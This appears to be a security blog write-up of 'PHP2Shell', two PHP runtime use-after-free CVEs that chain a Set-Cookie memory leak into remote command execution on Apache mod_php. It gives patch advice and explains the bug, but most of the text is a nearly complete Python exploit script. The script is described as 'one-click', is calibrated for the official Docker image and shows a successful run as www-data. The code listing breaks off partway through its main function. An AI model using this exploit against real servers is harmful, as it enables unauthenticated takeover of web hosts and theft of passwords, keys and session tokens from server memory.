Two critical vulnerabilities in the PHP engine itself that let an unauthenticated attacker run commands on your web server with nothing but ordinary HTTP requests. No login, no application bug, no file upload the app accepts — the flaw lives in the runtime, below whatever framework or CMS is installed.
Upgrade to 8.2.35, 8.3.36, 8.4.27 or 8.5.12 — then restart every PHP worker (Apache, PHP-FPM). Updating WordPress, Laravel, Drupal or plugins does not fix this. Check changelogs if you use distro packages, which may backport the fix under older version numbers.
PHP2Shell is the name researchers gave to an exploit chain built on two memory-safety bugs in the PHP interpreter. Both are classified CWE-824: Access of Uninitialized Pointer, both score CVSS 4.0 9.2 (Critical), and both are remotely triggerable without authentication or user interaction. The vulnerable code paths date back to PHP 5.4.0 (2012) — a fourteen-year-old bug reaching every release since.
The bugs were found by researchers at Calif, Wiz, and OpenAI's Codex security team (plus Quarkslab on one), working with the PHP security team, and disclosed as GitHub advisories GHSA-w8hw-w9fx-j79w and GHSA-6wmf-4rv5-p3rp. The PHP changelog addresses both with a single line — "Avoid state corruption via bailout" — which names the root cause precisely.
A stale pointer is read back as a string with an attacker-inflated length and returned in the Set-Cookie: PHPSESSID response header — up to ~67 KB of worker memory per request. Leaks heap and library addresses, defeating ASLR, and can expose passwords, session tokens, API keys, even TLS private keys.
The freed memory is reoccupied with a forged HashTable whose destructor pointer (pDestructor) is set to the address of system() inside libphp. When the engine cleans up the value, it calls the attacker's function instead. Commands run as the web server user.
When I started digging into this, the first thing I wanted to understand was the trigger — because every vulnerability abuses something built to be useful. PHP has a feature called session.upload_progress: while PHP is still reading a multipart/form-data request body off the wire, it writes a running description of the upload — its name, size, bytes received so far — into the user's $_SESSION. A second request can read that session data and report progress back to the browser.
An attacker reaches it with an ordinary multipart POST — no login required:
POST /index.php HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----Boundary123 Connection: close ------Boundary123 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" upload-test ------Boundary123 Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: text/plain This is a test file. ------Boundary123--
The critical detail is when this runs. Parsing the request body is one of the first things PHP does — the progress updates are written from inside the body-parsing (SAPI) callbacks, long before the request environment is initialised and long before the target script compiles and runs:
Reaching this code needs no session_start() in the target page, no valid login, no application logic at all. Any URL that accepts a POST is enough — even one whose script does nothing but print a single line. This pre-execution window is the foothold: the whole of PHP2Shell happens inside it, while the application is still fast asleep.
The upload-progress feature is not itself the vulnerability. The vulnerability is what happens when PHP runs out of memory while that feature is in the middle of its work.
PHP caps per-request memory with memory_limit. When a request tries to exceed it, PHP cannot carry on — so it performs what the engine calls a bailout: it uses longjmp() to jump straight back to a safe recovery point, abandoning whatever it was doing. This is the mechanism behind the familiar "Allowed memory size exhausted" fatal error. Normally a request tidies up after itself, freeing memory and clearing pointers — but a bailout skips all of that. It is an emergency exit, not an orderly shutdown.
The flaw is a matter of timing. If the out-of-memory condition strikes after the engine has freed a block of memory but before it has cleared the pointer referring to that block, the bailout leaves the pointer behind — a classic dangling pointer:
// the pattern, simplified: char *ptr = malloc(100); // Event 1: allocates memory free(ptr); // Event 2: memory is freed // OOM bailout happens here — longjmp skips the cleanup! ptr = NULL; // Event 4: pointer is cleared (NEVER RUNS)
The allocator considers the block freed and available for reuse — but the pointer still holds its old address. Classified as CWE-824 (Access of Uninitialized Pointer) and CWE-416 (Use After Free).
On its own, a dangling pointer in a dead request would be harmless — the process ends, the OS reclaims everything. What makes it dangerous is the server model: under Apache prefork with mod_php, a single worker process serves one request after another without restarting between them. The request ends, but the worker does not.
The attacker controls what the pointer now points at — because the attacker controls what Request B allocates. From this single defect the researchers built two attacks: CVE-2026-109618 reads the corrupted state (disclosure), CVE-2026-109619 steers it (execution).
I ran the vulnerable server as a container in my own lab. Confirming the target takes seconds — and the punchline is the application itself:
$ docker ps --format '{{.Names}} {{.Image}} {{.Status}}' php2shell-target php:8.4.26-apache Up 3 minutes $ docker exec php2shell-target php -v PHP 8.4.26 (cli) (built: Oct 21 2026 00:31:19) (NTS) Copyright (c) The PHP Group Zend Engine v4.4.26, Copyright (c) Zend Technologies $ curl -s http://127.0.0.1:8088/index.php OK $ docker exec php2shell-target cat /var/www/html/index.php <?php echo "OK\n"; ?>
PHP 8.4.26 — one release short of the 8.4.27 fix — and the entire application is one line that prints OK. No login form, no file upload, no database, no bug in this code to exploit. If the attack works against this page, it works against the runtime, not the application: a WordPress or Laravel site is no better protected just because its own code is sound.
| Setting | Needed for the exploit |
|---|---|
| PHP version | Vulnerable build: anything from 5.4.0 up to 8.2.34 / 8.3.35 / 8.4.26 / 8.5.11 (lab uses php:8.4.26-apache) |
| SAPI | Apache mod_php, prefork (worker reuse is what keeps the stale pointer alive) |
| session.upload_progress.enabled | 1 (the default) — the delivery mechanism |
| memory_limit | Low enough to provoke OOM reliably (lab uses 8M; exploit sends a 12 MB field) |
| display_errors | 1 in the lab setup |
| session.use_cookies / use_strict_mode | 1 / 0 |
Modern systems randomise where code and data load (ASLR), so an attacker who wants to redirect execution must first learn the real addresses. CVE-2026-109618 removes that protection by turning the dangling pointer into a leak of the worker's own memory.
Conceptually, the response looks like this: Set-Cookie: PHPSESSID=[32-byte real id][~67 KB of worker memory] That memory can hold: passwords, session cookies, API keys, TLS private keys — and the code addresses the exploit needs.
The exploit runs the leak twice. The first pass discloses the heap chunk base (found by scanning the cookie for 2 MB-aligned pointers); the second discloses the libphp base by reading a pointer at a known offset into the library:
$ python3 exploit.py -u http://127.0.0.1:8088/index.php [*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1') [*] offsets loaded from out/offsets.env [*] rotating worker over HTTP [*] stage 1: heap leak (attempt 1/3) [+] chunk base = 0x70d1a2c00000 [*] rotating worker over HTTP [*] stage 2: libphp leak (attempt 1/3) [+] libphp base = 0x70d1a4911000
The addresses differ on every run — that is ASLR doing its job. The attack simply reads them out each time rather than guessing. With the heap and the engine's own code located, the second CVE takes over.
The leak told the attacker where everything is. CVE-2026-109619 turns that knowledge into a command running on the server — by reoccupying the freed memory not with data to read, but with a carefully forged object that hijacks the engine's own clean-up machinery.
When PHP destroys a value, it may call a function pointer stored alongside it — a destructor — to release the value's resources. The exploit forges an internal HashTable structure in the reoccupied memory with its destructor pointer, pDestructor, set to the address of system() inside libphp (an address the leak made known). When the engine tidies up that value at the end of request handling, it believes it is calling a harmless destructor — and instead calls system() with attacker-controlled bytes as its argument.
$ python3 exploit.py -u http://127.0.0.1:8088/index.php [*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1') [*] offsets loaded from out/offsets.env [*] rotating worker over HTTP [*] stage 1: heap leak (attempt 1/3) [+] chunk base = 0x70d1a2c00000 [*] rotating worker over HTTP [*] stage 2: libphp leak (attempt 1/3) [+] libphp base = 0x70d1a4911000 [*] rotating worker over HTTP [*] stage 3: HTDATA=0x70d1a2c690d8 ZIF=0x70d1a4d76370 [+] W3 attempt 1 PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
That is remote code execution from nothing but multipart POST requests to a page that prints OK — against a server with no application vulnerability of any kind. To pull a flag instead of id:
$ python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'cat /f>/out/p1' --proof-file out/p1 ... PROOF: flag{...}
If a run ever stops short at the leak stage, run it again — the corruption is probabilistic, and the exploit retries the fragile stages for you.
Below is the complete exploit I used to reproduce the chain end to end against php:8.4.26-apache (bookworm profile, with a lab profile for custom builds included). It runs all three stages over raw sockets — worker rotation, the two Set-Cookie leaks, and the forged-HashTable destructor hijack. I cross-checked the technique against the TryHackMe PHP2Shell room while writing my notes.
#!/usr/bin/env python3
"""
php2shell - one-click remote exploit for PHP 8.4.26 / mod_php, prefork.
Default profile: official php:8.4.26-apache image (Apache 2.4.69).
Lab build (Apache 2.4.68, minimal PHP): use --profile lab.
Chain (all attacker traffic is plain HTTP):
stage 0 HTTP worker rotation
stage 1 Set-Cookie heap leak -> Zend MM chunk base
stage 2 Set-Cookie libphp leak -> libphp base (ZVAL_PTR_DTOR)
stage 3 upload_progress fake-ref -> pDestructor = zif_system
Requirements on the target (the shipped docker/ setup matches these settings):
display_errors=1, memory_limit=8M, max_input_vars=1000,
session.use_cookies=1, session.use_strict_mode=0,
session.upload_progress.enabled=1, single-worker prefork.
Usage:
python3 exploit.py -u http://127.0.0.1:8088/index.php
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1
The command is embedded in a 167-byte live zend_string; the maximum command
length for this payload layout is 14 bytes. For a longer command, chain it
through a short shell trigger, e.g. `sh</out/c` (8 bytes).
"""
from __future__ import annotations
import argparse
import os
import re
import socket
import ssl
import struct
import subprocess
import threading
import sys
import time
import urllib.parse
from collections import Counter
# Offsets for the lab build (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).
# They are relative to the libphp.so / Zend MM chunk base, so they do not
# depend on ASLR. Rebuilds can shift them; pass --zif-offset/--dtor-offset.
ZIF_OFFSET = 0x43A870 # zif_system
DTOR_OFFSET = 0x613C50 # ZVAL_PTR_DTOR (zval_ptr_dtor)
HTDATA_OFFSET = 0x6E0D8 # live 167-byte string used as fake HashTable
MAX_CMD = 14 # 167-byte carrier - 0x98 header - NUL
# bookworm (official php:8.4.26-apache) calibration, measured on the image
BOOKWORM_STAGE1_N = 841
BOOKWORM_STAGE2_T = 406
BOOKWORM_STAGE2_V = 16
BOOKWORM_HTDATA_OFFSET = 0x690D8
BOOKWORM_STAGE3_PADS = [(31, 31)] * 6
SID = b"attacksessionid0001"
DEFAULT_CMD = "id>/out/p1"
_HERE = os.path.dirname(os.path.abspath(__file__))
DEFAULT_PROOF = os.path.join(_HERE, "out", "p1")
DEFAULT_OFFSETS = os.path.join(_HERE, "out", "offsets.env")
def build_multipart(parts, boundary: bytes) -> bytes:
out = bytearray()
for p in parts:
name = p["name"].encode()
out += b"--" + boundary + b"\r\n"
out += b'Content-Disposition: form-data; name="' + name + b'"'
if p.get("filename") is not None:
out += b'; filename="' + p["filename"].encode() + b'"'
out += b"\r\nContent-Type: application/octet-stream"
out += b"\r\n\r\n" + p["data"] + b"\r\n"
out += b"--" + boundary + b"--\r\n"
return bytes(out)
def read_offsets_file(path: str) -> dict[str, int]:
"""Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py."""
vals: dict[str, int] = {}
if not path:
return vals
try:
with open(path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#") or "=" not in line:
continue
key, val = line.split("=", 1)
vals[key.strip()] = int(val.strip(), 0)
except (OSError, ValueError):
pass
return vals
class Target:
def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):
u = urllib.parse.urlsplit(url)
if u.scheme not in ("http", "https"):
raise ValueError("URL must be http:// or https://")
self.https = u.scheme == "https"
self.host = u.hostname or "127.0.0.1"
self.port = u.port or (443 if self.https else 80)
self.path = u.path or "/"
self.timeout = timeout
self.verbose = verbose
def log(self, msg: str) -> None:
if self.verbose:
print(msg, flush=True)
def _connect(self):
last = None
for _ in range(10):
try:
s = socket.create_connection((self.host, self.port), timeout=self.timeout)
if self.https:
ctx = ssl.create_default_context()
s = ctx.wrap_socket(s, server_hostname=self.host)
try:
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
except OSError:
pass
return s
except OSError as e:
last = e
time.sleep(0.3)
raise last # type: ignore[misc]
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
timeout: float | None = None,
extra_headers: dict[str, str] | None = None) -> bytes:
extra = ""
for k, v in (extra_headers or {}).items():
extra += f"{k}: {v}\r\n"
hdr = (
f"POST {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
s = self._connect()
s.settimeout(timeout or self.timeout)
# Read concurrently with the upload: some exploit requests make the
# worker abort right after sending Set-Cookie, and a recv() that starts
# after the RST loses the already-buffered response.
data = bytearray()
def _reader() -> None:
try:
while len(data) < read_cap:
chunk = s.recv(65536)
if not chunk:
break
data.extend(chunk)
except OSError:
pass
reader = threading.Thread(target=_reader, daemon=True)
reader.start()
try:
try:
s.sendall(hdr)
mv = memoryview(body)
for off in range(0, len(body), 262144):
s.sendall(mv[off:off + 262144])
except OSError:
pass # the worker may abort while the body is still in flight
reader.join(timeout=(timeout or self.timeout) + 1.0)
return bytes(data)
finally:
s.close()
def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:
hdr = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
s = self._connect()
s.settimeout(self.timeout)
try:
s.sendall(hdr)
data = bytearray()
try:
while len(data) < read_cap:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
except OSError:
pass
finally:
s.close()
head, _, body = bytes(data).partition(b"\r\n\r\n")
m = re.match(rb"HTTP/1\.[01] (\d{3})", head)
return (int(m.group(1)) if m else 0), body
def parse_cookie(resp: bytes) -> bytes:
m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
if not m:
return b""
return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1"))
def chunk_base_from_cookie(raw: bytes) -> int:
"""Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie."""
if len(raw) < 1000:
return 0
c: Counter[int] = Counter()
for i in range(len(raw) - 8):
v = int.from_bytes(raw[i:i + 8], "little")
if 0x600000000000 <= v < 0x800000000000:
c[v & ~0x1FFFFF] += 1
if not c:
return 0
base, count = c.most_common(1)[0]
return base if count >= 8 else 0
def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int:
"""Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.
The page-aligned check is 4KB, not 2MB: the lab build happened to map
libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it
at a 4KB boundary (e.g. base 0x...acdb000).
"""
if len(raw) < 16:
return 0
p = int.from_bytes(raw[8:16], "little")
if not (0x600000000000 <= p < 0x800000000000):
return 0
if p & 0xFFF != dtor_offset & 0xFFF:
return 0
base = p - dtor_offset
return base if base & 0xFFF == 0 else 0
class Exploit:
def __init__(self, target: Target, cmd: str, zif_offset: int = ZIF_OFFSET,
dtor_offset: int = DTOR_OFFSET, htdata_offset: int = HTDATA_OFFSET,
huge_mb: int = 12, verbose: bool = True, profile: str = "lab"):
self.t = target
self.cmd = cmd.encode()
self.zif_offset = zif_offset
self.dtor_offset = dtor_offset
self.htdata_offset = htdata_offset
self.huge_mb = huge_mb
self.verbose = verbose
self.profile = profile
if profile == "bookworm":
# official php:8.4.26-apache (Debian 12, Apache 2.4.69)
self.stage1_n = BOOKWORM_STAGE1_N
self.stage2_t = BOOKWORM_STAGE2_T
self.stage2_v = BOOKWORM_STAGE2_V
self.stage3_pads = list(BOOKWORM_STAGE3_PADS)
self.stage3_carrier = True
else:
self.stage1_n = 892
self.stage2_t = 443
self.stage2_v = 1
self.stage3_pads = [(8, 7)] + [(7, 7)] * 5
self.stage3_carrier = False
# ---------- request primitives (shapes match tools/*.py) ----------
def _big_field(self) -> dict:
return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}
def _file_part(self) -> dict:
return {"name": "f", "filename": "a.txt", "data": b"A" * 64}
def _try_stage1_n(self, n: int) -> int:
"""Single stage1 attempt with a specific filler count n."""
parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.2)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
for i in range(n):
val = (f"v{i:04d}" + "x" * 44)[:48]
parts.append({"name": str(1000 + i), "data": val.encode()})
forge = bytearray(b"A" * 79)
struct.pack_into("<Q", forge, 0x10, 0x1000)
forge[0x18] = ord("L")
parts.append({"name": "1999", "data": bytes(forge)})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=9 << 20)
return chunk_base_from_cookie(parse_cookie(resp))
def _try_stage2_t(self, t_idx: int, vlen: int) -> int:
"""Single stage2 attempt with a specific target array index."""
parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.2)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
for i in range(983):
cnt = 16 if i == t_idx else 1
for j in range(cnt):
parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * vlen})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=1 << 20)
return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)
def calibrate_stage1(self, center: int = 841, radius: int = 80,
coarse: int = 10, log=None) -> int | None:
"""Sweep stage1_n around center. Returns the first hit or None."""
lo = max(700, center - radius)
hi = center + radius
for n in range(lo, hi + 1, coarse):
self.rotate()
chunk = self._try_stage1_n(n)
if log:
log(n, bool(chunk))
if chunk:
self.stage1_n = n
return chunk
# fine sweep around edges
for n in range(lo, hi + 1, 1):
if n % coarse == 0:
continue
self.rotate()
chunk = self._try_stage1_n(n)
if log:
log(n, bool(chunk))
if chunk:
self.stage1_n = n
return chunk
return None
def calibrate_stage2(self, center: int = 406, radius: int = 60,
coarse: int = 5, log=None) -> int | None:
"""Sweep stage2_t around center. Returns the first hit or None."""
lo = max(300, center - radius)
hi = center + radius
for vlen in (self.stage2_v, 1, 16):
for t_idx in range(lo, hi + 1, coarse):
self.rotate()
base = self._try_stage2_t(t_idx, vlen)
if log:
log(t_idx, vlen, bool(base))
if base:
self.stage2_t = t_idx
self.stage2_v = vlen
return base
return None
def rotate(self) -> None:
"""Abort the current worker over HTTP; prefork forks a fresh one."""
self.t.log("[*] rotating worker over HTTP")
parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.3)
# Session-initializing B with no file part: pre-RINIT cleanup walks the
# corrupted heap and the child aborts.
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345",
read_cap=65536, timeout=20.0)
time.sleep(0.5)
def stage1(self) -> int:
"""Leak the Zend MM chunk base."""
parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.2)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
for i in range(self.stage1_n):
val = (f"v{i:04d}" + "x" * 44)[:48]
parts.append({"name": str(1000 + i), "data": val.encode()})
forge = bytearray(b"A" * 79)
struct.pack_into("<Q", forge, 0x10, 0x1000) # forged zend_string len
forge[0x18] = ord("L")
parts.append({"name": "1999", "data": bytes(forge)})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=9 << 20)
return chunk_base_from_cookie(parse_cookie(resp))
def stage2(self) -> int:
"""Leak libphp base through a 56-byte HashTable page."""
parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.2)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
for i in range(983):
cnt = 16 if i == self.stage2_t else 1
for j in range(cnt):
parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * self.stage2_v})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=1 << 20)
return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)
def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:
cmd = self.cmd
if len(cmd) > MAX_CMD:
raise ValueError(
f"command is {len(cmd)} bytes; the 167-byte carrier allows at most "
f"{MAX_CMD} (e.g. use 'sh</out/c')"
)
ht = bytearray(b"\x00" * 167)
# fake HashTable
struct.pack_into("<II", ht, 0x00, 1, 7) # gc: rc=1, IS_ARRAY
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8) # flags, nTableMask
struct.pack_into("<Q", ht, 0x10, htdata + 0x20) # arData
struct.pack_into("<II", ht, 0x18, 1, 1) # nNumUsed/OfElements
struct.pack_into("<II", ht, 0x20, 8, 0) # nTableSize/pointer
struct.pack_into("<Q", ht, 0x28, 0) # nNextFreeElement
struct.pack_into("<Q", ht, 0x30, zif) # pDestructor
# fake execute_data at E = data+0x20
E = 0x20
struct.pack_into("<Q", ht, E + 0x00, 0) # opline
struct.pack_into("<Q", ht, E + 0x08, 0) # call
struct.pack_into("<Q", ht, E + 0x10, zif) # return_value
struct.pack_into("<Q", ht, E + 0x18, 0) # func
struct.pack_into("<Q", ht, E + 0x20, 0) # This.value
struct.pack_into("<I", ht, E + 0x28, 0) # This.u1.type_info
struct.pack_into("<I", ht, E + 0x2C, 1) # num_args = 1
struct.pack_into("<Q", ht, E + 0x30, 0) # prev_execute_data
struct.pack_into("<Q", ht, E + 0x38, 0) # symbol_table
struct.pack_into("<I", ht, E + 0x40, 0) # call_info
struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80) # arg1 value
struct.pack_into("<I", ht, E + 0x58, 6) # arg1 IS_STRING
# fake zend_string at data+0x80
struct.pack_into("<II", ht, 0x80, 1, 0x106) # gc rc=1, IS_STRING
struct.pack_into("<Q", ht, 0x88, 0) # h
struct.pack_into("<Q", ht, 0x90, len(cmd)) # len
ht[0x98:0x98 + len(cmd)] = cmd
ht[0x98 + len(cmd)] = 0
# fake reference (55 bytes) placed at R0-0x10
ref = bytearray(b"X" * 55)
struct.pack_into("<II", ref, 0x10, 1, 10) # IS_REFERENCE
struct.pack_into("<Q", ref, 0x18, htdata) # val.value
struct.pack_into("<Q", ref, 0x20, 0x307) # IS_ARRAY_EX
struct.pack_into("<Q", ref, 0x28, 0) # sources
return bytes(ht), bytes(ref)
def stage3(self, htdata: int, zif: int) -> None:
"""Write the fake reference over PS(http_session_vars) and execute."""
parts = [
{"name": "PHPSESSID", "data": b"a" * 19},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},
]
specs = self.stage3_pads
for i, (nl, vl) in enumerate(specs):
name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]
parts.append({"name": name, "data": b"V" * vl})
parts += [self._file_part(), self._big_field()]
extra = None
if self.profile == "bookworm":
# Keep PS(id) valid: php_session_initialize then leaves
# send_cookie=0, so B's init does not allocate the Set-Cookie
# header at R0+16 (which would clobber val.type).
extra = {"Cookie": "PHPSESSID=" + "a" * 32}
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout),
extra_headers=extra)
time.sleep(0.3)
ht, ref = self._fake_payload(htdata, zif)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
if self.stage3_carrier:
# The bookworm reference is still alive (rc=2). A 15-byte
# bin-40 zend_string lands its chars exactly at
# PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the
# low 7 bytes of val.value to the fake HashTable, and let the
# high byte stay 0x00 (canonical 0x00007f... pointer).
carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
for i in range(2):
parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
parts.append({"name": "g00", "data": carrier})
for i in range(15):
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
else:
for i in range(15):
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
for i in range(2):
parts.append({"name": f"f{i:02d}", "data": ref})
self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=65536, timeout=30.0)
def main() -> int:
ap = argparse.ArgumentParser(
description="php2shell one-click exploit (official php:8.4.26-apache / lab)",
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
)
ap.add_argument("-u", "--url", required=True,
help="target PHP page, e.g. http://127.0.0.1:8088/index.php")
ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,
help=f"command to execute (max {MAX_CMD} bytes)")
ap.add_argument("--proof-file", default=DEFAULT_PROOF,
help="read this local file after exploitation; '' disables")
ap.add_argument("--fetch", default="",
help="GET this path afterwards (for commands writing to webroot)")
ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None,
help=f"offset of zif_system in libphp.so (default: offsets file or 0x{ZIF_OFFSET:x})")
ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None,
help=f"offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or 0x{DTOR_OFFSET:x})")
ap.add_argument("--profile", choices=("lab", "bookworm"), default="bookworm",
help="target build profile: bookworm (official image, default) or lab (Apache 2.4.68)")
ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None,
help="chunk-relative offset of the 167-byte live string")
ap.add_argument("--offsets-file", default=DEFAULT_OFFSETS,
help="read libphp offsets from this file ('' to disable)")
ap.add_argument("--docker-container", default="php2shell-target",
help="container used to auto-derive offsets on localhost")
ap.add_argument("--no-auto-offsets", action="store_true",
help="never run docker/offsets.py automatically")
ap.add_argument("--huge-mb", type=int, default=12,
help="size of the OOM field; must exceed memory_limit")
ap.add_argument("--timeout", type=float, default=30.0, help="per-request timeout")
ap.add_argument("--no-pre-rotate", action="store_true",
help="skip the initial worker rotation")
ap.add_argument("--no-retry-rotate", action="store_true",
help="do not rotate between failed stage attempts")
ap.add_argument("--retries", type=int, default=3,
help="attempts per leak stage; stage 3 uses retries+2")
ap.add_argument("-q", "--quiet", action="store_true")
args = ap.parse_args()
if len(args.cmd.encode()) > MAX_CMD:
ap.error(f"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier")
if args.htdata_offset is None:
args.htdata_offset = (BOOKWORM_HTDATA_OFFSET if args.profile == "bookworm"
else HTDATA_OFFSET)
local_offsets = read_offsets_file(args.offsets_file)
t = Target(args.url, timeout=args.timeout, verbose=not args.quiet)
# A local docker target may be built from a different image/toolchain than
# the lab; ask the container for its real libphp offsets once.
if (not local_offsets and not args.no_auto_offsets and args.offsets_file
and t.host in ("127.0.0.1", "localhost", "::1")):
helper = os.path.join(_HERE, "docker", "offsets.py")
if os.path.exists(helper):
if not args.quiet:
print("[*] no offsets file; reading libphp symbols from "
f"container {args.docker_container}", flush=True)
try:
subprocess.run(
[sys.executable, helper, args.docker_container, args.offsets_file],
check=False, timeout=60,
stdout=None if not args.quiet else subprocess.DEVNULL,
stderr=None if not args.quiet else subprocess.DEVNULL,
)
except (OSError, subprocess.SubprocessError):
pass
local_offsets = read_offsets_file(args.offsets_file)
if args.zif_offset is None:
args.zif_offset = local_offsets.get("ZIF_OFFSET", ZIF_OFFSET)
if args.dtor_offset is None:
args.dtor_offset = local_offsets.get("DTOR_OFFSET", DTOR_OFFSET)
ex = Exploit(t, args.cmd, zif_offset=args.zif_offset,
dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset,
huge_mb=args.huge_mb, verbose=not args.quiet, profile=args.profile)
t.log(f"[*] target {args.url} (cmd={args.cmd!r})")
if local_offsets:
t.log(f"[*] offsets loaded from {args.offsets_file}")
t.log(f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "
f"htdata=0x{args.htdata_offset:x}")
def rotate_after_failure() -> None:
if not args.no_retry_rotate:
ex.rotate()
# Fingerprint the target with a plain GET first. Besides confirming the
# endpoint, this primes the worker's heap into the state the stage-1
# grooming is calibrated for, so the leak lands on the first attempt.
try:
_fs = t._connect()
_fs.sendall(f"GET {t.path} HTTP/1.1\r\n"
f"Host: {t.host}:{t.port}\r\n"
f"Connection: close\r\n\r\n".encode())
_fp = b""
try:
while len(_fp) < 65536:
_ch = _fs.recv(4096)
if not _ch:
break
_fp += _ch
except OSError:
pass
_fs.close()
except OSError:
pass
if not args.no_pre_rotate:
ex.rotate()
# ---- stage 1 ----
chunk = 0
for attempt in range(1, args.retries + 1):
t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")
